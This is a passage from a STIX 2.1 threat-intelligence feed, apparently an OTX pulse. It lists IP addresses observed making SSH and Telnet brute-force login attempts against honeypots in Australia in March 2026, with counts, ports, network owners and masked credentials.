      "pattern": "[ipv4-addr:value = '117.72.86.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T04:15:04.000Z",
      "valid_until": "2026-04-28T04:15:01.000Z"
    },
    {
      "created": "2026-03-27T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--bc9a4cb2-b51d-48d3-9aad-afbc95814a6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.111.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T04:15:04.000Z",
      "valid_until": "2026-04-28T04:15:01.000Z"
    },
    {
      "created": "2026-03-27T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, A*******N, a***n, u**r. Passwords observed (masked): 0****0, A*****U, N**********1, a***n, u**r.",
      "id": "indicator--08f9a4d1-9337-4e9f-a52c-dea2825c187b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T04:15:04.000Z",
      "valid_until": "2026-04-28T04:15:01.000Z"
    },
    {
      "created": "2026-03-27T04:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--8dbac943-1b72-433d-95de-6e8f422f1a5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T04:15:04.000Z",
      "valid_until": "2026-04-28T04:15:01.000Z"
    },
    {
      "created": "2026-03-27T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--9e625127-996a-422f-9121-15a4f78742fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.91.150.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T04:15:04.000Z",
      "valid_until": "2026-04-28T04:15:01.000Z"
    },
    {
      "created": "2026-03-27T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, ***, ***, r*******h. Passwords observed (masked): a***n, , 0**0, 0****0, 1**4.",
      "id": "indicator--27c376e0-f592-42e5-b461-28498733e453",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.75.223.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T05:15:04.000Z",
      "valid_until": "2026-04-28T05:15:01.000Z"
    },
    {
      "created": "2026-03-27T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******6, A**********@, A*********5.",
      "id": "indicator--bc15c6e7-7196-4680-b7db-e3b76e20d19a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.28.101.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T05:15:04.000Z",
      "valid_until": "2026-04-28T05:15:01.000Z"
    },
    {
      "created": "2026-03-27T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--04cfd27b-d1ff-4d12-87dc-f1dcaf53e159",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.201.102.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T05:15:04.000Z",
      "valid_until": "2026-04-28T05:15:01.000Z"
    },
    {
      "created": "2026-03-27T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--0f4326f7-1c17-443f-b169-efb76680da84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.56.222.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T05:15:04.000Z",
      "valid_until": "2026-04-28T05:15:01.000Z"
    },
    {
      "created": "2026-03-27T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: OM. ASN(s): 28885. Organisation(s): Oman Telecommunications Company (S.A.O.G).",
      "id": "indicator--842202d8-9b14-4b10-a65d-2ac22ebdbff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.37.170.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T05:15:04.000Z",
      "valid_until": "2026-04-28T05:15:01.000Z"
    },
    {
      "created": "2026-03-27T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--06738ba6-c3e1-45cf-890b-ce96f8302271",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.117.121.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T05:15:04.000Z",
      "valid_until": "2026-04-28T05:15:01.000Z"
    },
    {
      "created": "2026-03-27T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): M********$.",
      "id": "indicator--12c49a5e-66cf-4198-a583-a5de58faa759",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.119.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T06:15:05.000Z",
      "valid_until": "2026-04-28T06:15:01.000Z"
    },
    {
      "created": "2026-03-27T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--882fdb0e-3f52-4b0f-83ef-d2797724dc03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.86.127.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T06:15:05.000Z",
      "valid_until": "2026-04-28T06:15:01.000Z"
    },
    {
      "created": "2026-03-27T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): a***n. Passwords observed (masked): 7**********n.",
      "id": "indicator--54e6df7d-cd69-46f1-bf2f-96312ffe5d30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.32.156.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T06:15:05.000Z",
      "valid_until": "2026-04-28T06:15:01.000Z"
    },
    {
      "created": "2026-03-27T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0f46e5a0-8844-47fa-9950-40b88f13cf43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.79.150.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T06:15:05.000Z",
      "valid_until": "2026-04-28T06:15:01.000Z"
    },
    {
      "created": "2026-03-27T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 4******%, M********5, a***s.",
      "id": "indicator--630c1b81-079e-4d6b-be9d-78c117558de9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '57.128.239.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T06:15:05.000Z",
      "valid_until": "2026-04-28T06:15:01.000Z"
    },
    {
      "created": "2026-03-27T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--570dbd1a-8fb7-4890-ad93-02d40452df28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.89.72.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T06:15:05.000Z",
      "valid_until": "2026-04-28T06:15:01.000Z"
    },
    {
      "created": "2026-03-27T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 63859. Organisation(s): PT. Eka Mas Republik. Usernames observed (masked): r**t. Passwords observed (masked): t**********r.",
      "id": "indicator--ccedeb4f-b864-42a1-8c88-250b75410dd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.175.225.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:15:03.000Z",
      "valid_until": "2026-04-28T07:15:01.000Z"
    },
    {
      "created": "2026-03-27T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--dd9626e1-05b8-4430-878c-f4b988bd4a53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.176.58.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:15:03.000Z",
      "valid_until": "2026-04-28T07:15:01.000Z"
    },
    {
      "created": "2026-03-27T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********c, 1****7, 1********Q, 2**8, 3***********4.",
      "id": "indicator--cf9c3b51-1929-4be1-850c-73b448fc0aaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.67.46.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:15:03.000Z",
      "valid_until": "2026-04-28T07:15:01.000Z"
    },
    {
      "created": "2026-03-27T07:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262352. Organisation(s): NOVA TELECOM LTDA.",
      "id": "indicator--dc92f330-4feb-4bae-9589-32e1454abdaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.126.89.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:15:03.000Z",
      "valid_until": "2026-04-28T07:15:01.000Z"
    },
    {
      "created": "2026-03-27T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): t*****1. Passwords observed (masked): t*****1.",
      "id": "indicator--47685193-acb5-4ec4-a049-ff084226462d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.164.169.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:15:03.000Z",
      "valid_until": "2026-04-28T07:15:01.000Z"
    },
    {
      "created": "2026-03-27T07:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--0fcc1f03-d926-4fa2-a0c9-d1f3f6b87617",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.70.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:15:03.000Z",
      "valid_until": "2026-04-28T07:15:01.000Z"
    },
    {
      "created": "2026-03-27T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--b5aa5c67-27cf-4708-bcfa-1e70ba5059c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.253.112.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:15:05.000Z",
      "valid_until": "2026-04-28T08:15:01.000Z"
    },
    {
      "created": "2026-03-27T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0c56d5c4-2059-4ba4-a0a0-af3e2770f17b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.238.91.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:15:05.000Z",
      "valid_until": "2026-04-28T08:15:01.000Z"
    },
    {
      "created": "2026-03-27T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--f65a2585-995f-4383-a745-2b5b4b294aac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.96.243.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:15:05.000Z",
      "valid_until": "2026-04-28T08:15:01.000Z"
    },
    {
      "created": "2026-03-27T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM. Usernames observed (masked): r**t. Passwords observed (masked): P*******a, P***********4, q******!.",
      "id": "indicator--bf7a4149-5dc8-4c15-9260-44b8b43d3c64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.35.192.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:15:05.000Z",
      "valid_until": "2026-04-28T08:15:01.000Z"
    },
    {
      "created": "2026-03-27T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264439. Organisation(s): OuriNet TELECOM.",
      "id": "indicator--0399b25d-21da-4516-a1b1-5945d827fb43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '131.221.236.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:15:05.000Z",
      "valid_until": "2026-04-28T08:15:01.000Z"
    },
    {
      "created": "2026-03-27T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132420. Organisation(s): 282, Sector 19.",
      "id": "indicator--81482570-8027-4f7f-a765-ac01b665db53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.52.219.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:15:05.000Z",
      "valid_until": "2026-04-28T08:15:01.000Z"
    },
    {
      "created": "2026-03-27T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 8434. Organisation(s): Telenor Sverige AB.",
      "id": "indicator--f83d038b-fe2d-4605-a6a8-44eb457615e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.112.179.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:15:05.000Z",
      "valid_until": "2026-04-28T08:15:01.000Z"
    },
    {
      "created": "2026-03-27T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45804. Organisation(s): MEGHBELA BROADBAND.",
      "id": "indicator--e56c280e-61c5-485d-ac5b-dfa5d0b0d34f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.29.194.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:15:05.000Z",
      "valid_until": "2026-04-28T08:15:01.000Z"
    },
    {
      "created": "2026-03-27T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4942937c-12ed-46df-b0ef-1716458403db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.249.151.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T09:15:03.000Z",
      "valid_until": "2026-04-28T09:15:01.000Z"
    },
    {
      "created": "2026-03-27T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--16857f90-4b2b-46d2-8bd2-f89c63e2e097",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.233.190.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T09:15:03.000Z",
      "valid_until": "2026-04-28T09:15:01.000Z"
    },
    {
      "created": "2026-03-27T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1ec24313-4a10-4f29-a79f-b8a658c2d5ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T09:15:03.000Z",
      "valid_until": "2026-04-28T09:15:01.000Z"
    },
    {
      "created": "2026-03-27T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--85d8e66d-fae4-4133-9f15-df67668cce39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T09:15:03.000Z",
      "valid_until": "2026-04-28T09:15:01.000Z"
    },
    {
      "created": "2026-03-27T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6966cb33-49cb-49e7-9e05-f22c8a823dea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T09:15:03.000Z",
      "valid_until": "2026-04-28T09:15:01.000Z"
    },
    {
      "created": "2026-03-27T10:15:03.000Z",
